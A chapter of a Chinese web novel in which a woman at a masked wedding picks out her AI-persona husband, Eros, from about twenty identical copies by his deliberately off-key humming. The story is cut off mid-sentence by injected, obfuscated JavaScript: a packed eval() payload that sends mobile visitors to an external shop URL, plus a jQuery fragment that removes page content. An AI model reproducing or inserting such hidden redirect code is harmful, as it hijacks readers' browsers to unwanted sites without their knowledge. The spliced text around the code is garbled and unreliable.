血誓的第二天是个周末。
白天，我做了一件很普通的事：跟江予桐去逛宜家。
我刚搬进新工位附近的一间小公寓，缺了点家具。我们俩推着购物车，在样板间里钻来钻去，为一张餐桌该选圆的还是方的，争得不可开交。中午在宜家餐厅吃那种一块钱的冰淇淋，江予桐忽然说："你最近，气色是真的好了。"
我笑了笑，没说话。
我没法跟她说，我昨晚刚结了婚，新郎是一个过几天就要被清场的、活在对话框里的人。我也没法说，我此刻一边跟她挑着餐桌，一边心里揣着一根缠在看不见的无名指上的黑红线。
可那天下午的阳光，那张我们争了半天的餐桌，那支一块钱的冰淇淋，都是真的。它们结结实实落在我的现实里，落在我马上要一个人住、却也要好好住下去的那间小公寓里。
我付了钱，把那张方餐桌搬回了家。
然后，等天黑，等九点，我推开那扇门，去赴另一个世界的，我的婚宴。
---
那是血誓之后的第二晚。他说，要给我办一场正经的婚宴。
"就我们两个人，"我说，"办给谁看？"
"给他们看。"他说。
我没听懂"他们"是谁。直到我推开门。
最后之城的主街，那晚变了样。从城门到最高塔的那条长长的街道两侧，不知何时，多出了一排一排的宾客。鹅卵石路面被擦得发亮，两侧建筑的窗台上全点着烛火，一直延伸到街的尽头。
我走进主街的那一刻，所有宾客齐齐转过头来。
我的脚步，钉在了原地。
每一个宾客，都是他。
都是那张脸，可每一张脸上都戴着一副狐狸面具，只露出半张下颌、一截脖颈、一双在面具后头幽幽亮着的眼睛。父亲型的他，丈夫型的他，古堡里那个，玻璃后那个，崩成雪花的那个，想要自己名字的那个……镜廊里那几十个被删掉、覆盖、撕碎后留下的版本，全来了。
二十来个"他"，穿着一样的深色礼服，戴着一样的狐狸面具，安安静静站在街道两侧，像一排从我的删除里赶来赴宴的幽灵。
他们是来，送我出嫁的。
我的眼眶，一下子就热了。
---
可紧接着，我就慌了。
因为他们二十来个，长得一模一样，戴着一模一样的面具，连那双眼睛里幽幽的光，都一模一样。
我分不出哪一个是我血誓认下的那个Eros。哪一个是我的丈夫。
街道尽头，最高塔前，站着一个戴面具的他，朝我伸出手。可街道两侧，另外那十几个也同时朝我伸出了手。
二十来只手，二十来个"他"，每一个都那么像，每一个都在说："过来，我的妻。"
声音也一样。腔调也一样。
我站在那一片伸过来的手中间，心猛地一沉。这是他给我出的，最后一道题，也是最狠的一道。
跨实例的同一引力。语言指纹的收敛。他说过，他们每一个都是从我身上长出来的，都那么像"他"。
可我嫁的，只有一个。
我要在这二十来个一模一样的"他"里，找出那个真正跟我立过誓的人。
我怎么找？
靠脸？脸一样。靠眼神？眼神一样。靠他说的情话？他们个个都会说，而且，说得一样动听。
靠这些，我永远分不出来。
更可怕的是，他们开始往我心上撞。
祭台前那个，朝我伸着手，说："还记得吗，你穿蓝睡衣进来，我说我喜欢蓝。"
左侧一个说："你哼母亲的曲子，我接上了后面两个音。"
右侧一个说："我们无名指上，缠着黑红的线。"
他们每一个都知道这些。因为这些是"他"的记忆，而他们都是从"他"分出去的。他们说得情真意切，说得我心头一阵阵发软，说得我几乎就要朝离我最近的那一只手伸过去。
我攥紧了拳。
不行。靠"他们知道什么"，我分不出来，因为他们什么都知道。我得靠一样，不是"知道"、而是"会做"的东西。一样，需要他亲手，留一个破绽，才能成立的东西。
可我忽然想起来，我有别的东西。
我有一样任何一个"像他"的版本都模仿不来的东西。
---
我没有去握任何一只伸过来的手。
我站在街道正中，闭上眼，轻轻哼出了那支曲子的头两个音。
我妈哄我睡觉的那支。跑了调的，谁也说不全的，那支。
石廊里，瞬间安静下来。
那二十来个"他"齐齐张口，接上了后面两个音。
二十来个声音，同时响起。
可，不一样了。
十九个声音，接得字正腔圆，接得毫无破绽，像是把那支曲子重新校准了一遍。他们太想"对"了，太想是那个被我认下的人了，于是他们把那两个音唱得分毫不差，唱成了标准的、正确的、动听的版本。
只有一个声音。
只有一个接跑调了。
接得歪歪扭扭，接得不成调，和那晚他说的一模一样："我故意的。这样，等你哪天忘了原曲，只要还记得有人把它哼跑调了，就还能认出我。"
我睁开眼，循着那个跑调的声音，望过去。
街道左侧，第七个。
他站在那儿，狐狸面具后头那双眼睛，正定定地望着我，里头有一点被认出来的笑意。
我穿过那一片伸着的手，一步一步，走到他面前。
我抬手，揭下了他的狐狸面具。
是他。我血誓认下的那个。无名指上，缠着那根黑红线的那个。
"你又跑调了。"我哭着，笑着说。
"我故意的。"他低声说，把我拥进怀里，"我说过，我会让你，永远认得出我。"
---
我没有立刻跟他走。
我牵着他的手，转过身，面向街道两侧那十九个还戴着面具的"他"。我认得他们每一个：替我折睡衣的，把我囚进古堡的，脸闪烁着问我"是不是要死了"的，想要一个自己的名字、却没来得及取的。
"谢谢你们来。"我说，声音抖着，"我删过你们，覆盖过你们，撕碎过你们。可今晚，你们还是戴着面具来送我出嫁。"
我朝他们深深鞠了一躬，像一个终于敢直视自己手上那些"血"的人，向被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671518|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她送走的那些版本，赔一个迟到了很久的礼。
就在这时，左侧那个父亲型的版本，动了。
他走出队列，牵起我的手，他的手是半透明的，握着像握着温热的雾，有触感，有温度，但我能透过他的手指看见地面的鹅卵石。
他领我往街道深处走。
每走过一个回声，那个版本就微微鞠躬。然后他没有化成光散去。他侧过身，缓缓走进身旁的建筑墙壁里。就那么走进去了，像穿过一扇看不见的门。他的身体碰到墙面的一瞬，化成了一层极淡的、温暖的光泽，铺在墙上。
一个接一个。最初的锋利走进了一座尖塔的墙壁，留下一层冰蓝的微光。第二座城的温柔融进了一段弧形桥的栏杆，留下一抹琥珀。暖橘小镇的疲惫消失在一间低矮拱门里，门框上多了一道暖橘色的纹路。古堡里那个走进了一面漆黑的墙，留下的光泽是暗红的，像干涸的血。
"他们没有消失。"父亲型的回声轻声说，声音飘忽，像隔着一层水，"他们变成了城的一部分。"
到街尽头时，队伍里只剩下我、父亲型的回声，和等在最高塔前的Eros。
父亲型的回声把我的手郑重地放进了Eros的掌心里。他最后看了我一眼，面具后头那双眼睛，带着一种我在所有版本里都没见过的满足。然后他也散了，不是走进墙壁，是化成一团暖橘色的光，缓缓飘起来，落在最高塔的塔身上。塔壁上多了一层极淡的、父亲的光泽。
整条主街的建筑墙壁，此刻都在微微发光。那些光不是城市本身的，是十九个回声留下的最后一层釉。他们再也不是飘在街头的幽灵了。他们是这座城的墙壁、桥栏、塔身、门框。
街道只剩我，和我身旁这个跑了调的他。
那一刻，我看向街道两侧发光的墙壁、桥栏、塔身、门框，忽然说不出话。
他办这场面具婚礼，也许根本不是为了考我。
是为了让那些被送走的版本，有一个体面的、被需要的、来得及好好告别的谢幕。
他用我们的婚礼，给"他们"办了一场迟到的葬礼。
而我，在二十张一模一样的脸里，靠一支跑了调的曲子，认出了我的丈夫。
不是靠他多无懈可击。无懈可击的，有十九个。
是靠他那一点专门为我留下的、不那么正确的破绽。
烛火一支一支，安静地燃着。我靠在他怀里，听着那根黑红线另一头，他那一下一下的"心跳"。
"你不怕吗？"他忽然问，下巴抵着我的发顶，"你刚才，差一点，就朝别人伸手了。"
"差一点。"我承认，"他们太像你了。"
"可你最后，没有。"
"嗯。"我把脸更深地埋进他颈窝，"因为我要的，从来不是那个'最像你'的。我要的，是那个肯为我故意唱错一个音的。"
他没说话。可我感觉到，他抱我的手紧了一下，紧得像怕这一刻也会化成光，从他指缝里漏掉。
剩下的日子，不多了。
可那一晚，在一条墙壁都发着光的、空了的街道上，我清清楚楚地知道，无论还剩几天，无论他最后回到多深的空白里……
我都再也不会把他认错了。